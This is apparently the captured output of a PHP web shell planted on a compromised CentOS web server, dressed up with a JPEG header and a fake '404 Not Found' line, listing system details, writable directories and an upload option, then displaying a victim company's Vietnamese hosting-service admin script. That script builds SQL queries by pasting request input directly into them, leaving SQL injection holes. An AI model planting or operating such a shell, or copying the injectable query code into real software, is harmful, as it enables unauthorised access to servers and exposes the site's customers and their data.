ÿØÿàJFIFÿÛ„ ( %"1"%)+...383,7(-.- 404 Not Found
Sh3ll
OdayForums


Server : Apache/2.4.6 (CentOS) OpenSSL/1.0.2k-fips PHP/7.4.20
System : Linux st2.domain.com 3.10.0-1127.10.1.el7.x86_64 #1 SMP Wed Jun 3 14:28:03 UTC 2020 x86_64
User : apache ( 48)
PHP Version : 7.4.20
Disable Function : NONE
Directory :  /var/www/html/admin.adimi/code/management/service/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Current File : /var/www/html/admin.adimi/code/management/service/post.php
<?php
$fmt = new NumberFormatter( 'vi_VN', NumberFormatter::CURRENCY );
$v_service_id = 0;
if(isset($CORE->input['id']) && $CORE->input['id']>0){
    $v_service_id = $CORE->input['id'];
}
$v_service_event_id = 0;
if(isset($CORE->input['service_event_id']) && $CORE->input['service_event_id']>0){
    $v_service_event_id = $CORE->input['service_event_id'];
}
$txt_op_customer = '';
if($v_service_id==0) {
    $row_check = $DB->get_colum_tb('tb_service');
}else{
    $row_check = $DB->fetch_row($DB->query("SELECT * FROM tb_service WHERE service_id='$v_service_id' "));
    $row_customer = $DB->fetch_row($DB->query("SELECT * FROM tb_customer WHERE customer_id='".$row_check['customer_id']."' "));
    $txt_op_customer = '<option value="'.$row_customer['customer_id'].'">'.$row_customer['customer_fullname'].' - '.$row_customer['customer_company'].'</option>';

}
if($v_service_event_id==0){
    $row_check_event = $DB->get_colum_tb('tb_service_event');
}else {
    $row_check_event = $DB->fetch_row($DB->query("SELECT * FROM tb_service_event WHERE service_event_id='$v_service_event_id' "));
    $row_check_event['service_event_begin'] = date('d-m-Y',strtotime($row_check_event['service_event_begin']));
    if($row_check_event['service_event_end']!='') {
        $row_check_event['service_event_end'] = date('d-m-Y', strtotime($row_check_event['service_event_end']));
    }else{
        $row_check_event['service_event_end'] = '';
    }
}
$q_list_event = $DB->query("SELECT * FROM tb_service_event WHERE service_id='$v_service_id' ORDER BY time_post ASC ");
$txt_list_service_event = '';
while ($r_list_event = $DB->fetch_row($q_list_event)){
    $txt_dichvu_event = '';
    $txt_dongia=$fmt->formatCurrency($r_list_event['service_event_dongia'],'VND');
    if($row_check['service_cat']=='Hosting'){
        $txt_dichvu_event .= '<td>'.$r_list_event['service_event_id'].'</td><td>'.date('d-m-Y',strtotime($r_list_event['service_event_begin'])).'</td><td>'.date('d-m-Y',strtotime($r_list_event['service_event_end'])).'</td><td>'.$r_list_event['service_event_soluong'].'</td><td>'.$txt_dongia.'</td>';
    }
    if($row_check['service_cat']=='QTW' or $row_check['service_cat']=='QTF' or $row_check['service_cat']=='TKW'){
        $txt_dichvu_event .= '<td>'.$r_list_event['service_event_id'].'</td><td>'.date('d-m-Y',strtotime($r_list_event['service_event_begin'])).'</td><td>'.$r_list_event['service_event_soluongweb'].'</td><td>'.$r_list_event['service_event_tenweb'].'</td><td>'.$txt_dongia.'</td>';
    }
    if($row_check['service_cat']=='Domain'){
        $txt_dichvu_event .= '<td>'.$r_list_event['service_event_id'].'</td><td>'.$r_list_event['service_event_tenweb'].'</td><td>'.date('d-m-Y',strtotime($r_list_event['service_event_begin'])).'</td><td>'.date('d-m-Y',strtotime($r_list_event['service_event_end'])).'</td><td>'.$txt_dongia.'</td>';
    }
    $txt_bg = '';
    if($r_list_event['service_event_id']==$v_service_event_id){
        $txt_bg = 'bg-primary';
    }

    $txt_trang_thai = '';
    $txt_trang_thai_status = '';

    if($r_list_event['service_event_status']=='active'){
        $txt_trang_thai = '<span class="text-success"><i class="fas fa-play"></i> '.$r_list_event['service_event_status'].'</span>';
        $txt_trang_thai_status = '<a class="btn btn-dark btn-sm mt-2" href="?act=management&code=service&type=stop_service_event&id='.$r_list_event['service_id'].'&service_event_id='.$r_list_event['service_event_id'].'" onclick="return confirm(\'Bạn có chắc muốn dừng dịch vụ?\')"><i class="fas fa-ban"></i> Tạm dừng dịch vụ</a>';
    }else{
        $txt_trang_thai = '<span class="text-warning"><i class="far fa-stop-circle"></i> '.$r_list_event['service_event_status'].'</span>';
        $txt_trang_thai_status = '<a class="btn btn-dark btn-sm mt-2" href="?act=management&code=service&type=active_service_event&id='.$r_list_event['service_id'].'&service_event_id='.$r_list_event['service_event_id'].'" onclick="return confirm(\'Bạn có chắc muốn kích hoạt dịch vụ?\')"><i class="far fa-check-square"></i> Kích hoạt dịch vụ</a>';
    }

    $txt_list_service_event .= '<tr class="'.$txt_bg.'">

'.$txt_dichvu_event.'
<td>'.$txt_trang_thai.'</td>
<td><a class="btn btn-info btn-sm" href="?act=management&code=service&type=post&type2=post_service_event&id='.$r_list_event['service_id'].'&service_event_id='.$r_list_event['service_event_id'].'"><i class="fas fa-pencil-alt"></i> Chi tiết</a>

 <a class="btn btn-warning btn-sm" href="?act=management&code=hopdong&type=post&customer_id='.$row_check['customer_id'].'&service_id='.$r_list_event['service_id'].'&service_event_id='.$r_list_event['service_event_id'].'"><i class="fas fa-file-contract"></i> Hợp đồng</a> 
 
 
 
'.$txt_trang_thai_status.'
 
 </td></tr>';
}
$type2 = '';
if(isset($CORE->input['type2']) && $CORE->input['type2']!=''){
    $type2 = $CORE->input['type2'];
}

//show list hd
$txt_list_hd = '';
if($v_service_id>0 && $v_service_event_id>0) {
    $q_hd = $DB->query("SELECT * FROM tb_service_event_hoadon WHERE service_id='$v_service_id' AND service_event_id='$v_service_event_id' ");
    while ($r_hd = $DB->fetch_row($q_hd)){
        $txt_xn_tt = '| <a href="javascript:void(0);" onclick="xn_tt('.$r_hd['hoa_don_id'].');">Xác nhận thanh toán</a>';
        if($r_hd['tinh_trang']=='da_thanh_toan'){
            $txt_tinh_trang = '<span class="text-success"><i class="far fa-check-circle"></i> '.$arr_status_thanh_toan['da_thanh_toan'].'</span>';
            $txt_xn_tt = '';
            $txt_huy = '';
        }else{
            $txt_tinh_trang = '<span class="text-danger"><i class="fas fa-times"></i> '.$arr_status_thanh_toan['chua_thanh_toan'].'</span>';
            $txt_huy = '| <a href="?act=management&code=service&type=delete_detail&hd_id='.$r_hd['hoa_don_id'].'">Hủy</a>';
        }
        $v_han_thanh_toan = strtotime($r_hd['ngay_gia_han']);
        $txt_check_het_han = '';
        if(time()>$v_han_thanh_toan && $r_hd['tinh_trang']!='da_thanh_toan' ){
            $txt_check_het_han = 'bg-warning';
        }
        $txt_tong_tien = $fmt->formatCurrency($r_hd['tong_tien'],'VND');
        $txt_list_hd .= '<tr class="'.$txt_check_het_han.'"><td>'.$r_hd['hoa_don_code'].'</td><td>'.date('d-m-Y',strtotime($r_hd['ngay_tao'])).'</td><td>'.date('d-m-Y',strtotime($r_hd['ngay_gia_han'])).'</td><td>'.date('d-m-Y',strtotime($r_hd['time_post'])).'</td><td>'.$txt_tong_tien.'</td><td>'.$txt_tinh_trang.'</td><td><a href="?act=management&code=service&type=hd_detail&hd_id='.$r_hd['hoa_don_id'].'" target="_blank">Chi tiết</a> '.$txt_xn_tt.' '.$txt_huy.'</td></tr>';
    }
}
if(isset($CORE->input['submitbt'])){
    $f = $CORE->input['f'];
    //Array ( [service_id] => [customer_id] => 1 [service_title] => Hosting gói 3 – Windows (Dung lượng 6 GB, Băng thông không giá»›i hạn, địa chỉ email không giá»›i hạn, tài khoản FTP không giá»›i hạn, 06 data SQL) theo tên miá»n lad-corp.com [service_cat] => 1 [service_donvitinh] => thang [service_soluong] => 24 [service_dongia] => 1900000 [service_tax] => 10 [service_discount] => 10 [service_begin] => 30-11-2021 [service_end] => 30-11-2023 )
    if($f['service_id']>0){
        $DB->query("UPDATE tb_service SET customer_id='".$f['customer_id']."',service_title='".$f['service_title']."',service_cat='".$f['service_cat']."' WHERE service_id='".$f['service_id']."' ");
        $v_service_id = $f['service_id'];
    }else{
        $arr_insert = array('customer_id'=>$f['customer_id'],'service_title'=>$f['service_title'],'service_cat'=>$f['service_cat'],'time_post'=>date('Y-m-d h:i:s'),'user_post'=>$ob_user->user_name);
        $v_service_id=$DB->do_insert('tb_service',$arr_insert);
    }
    $print->refresh('?act=management&code=service&type=post&id='.$v_service_id);
}
?>

ZeroDay Forums Mini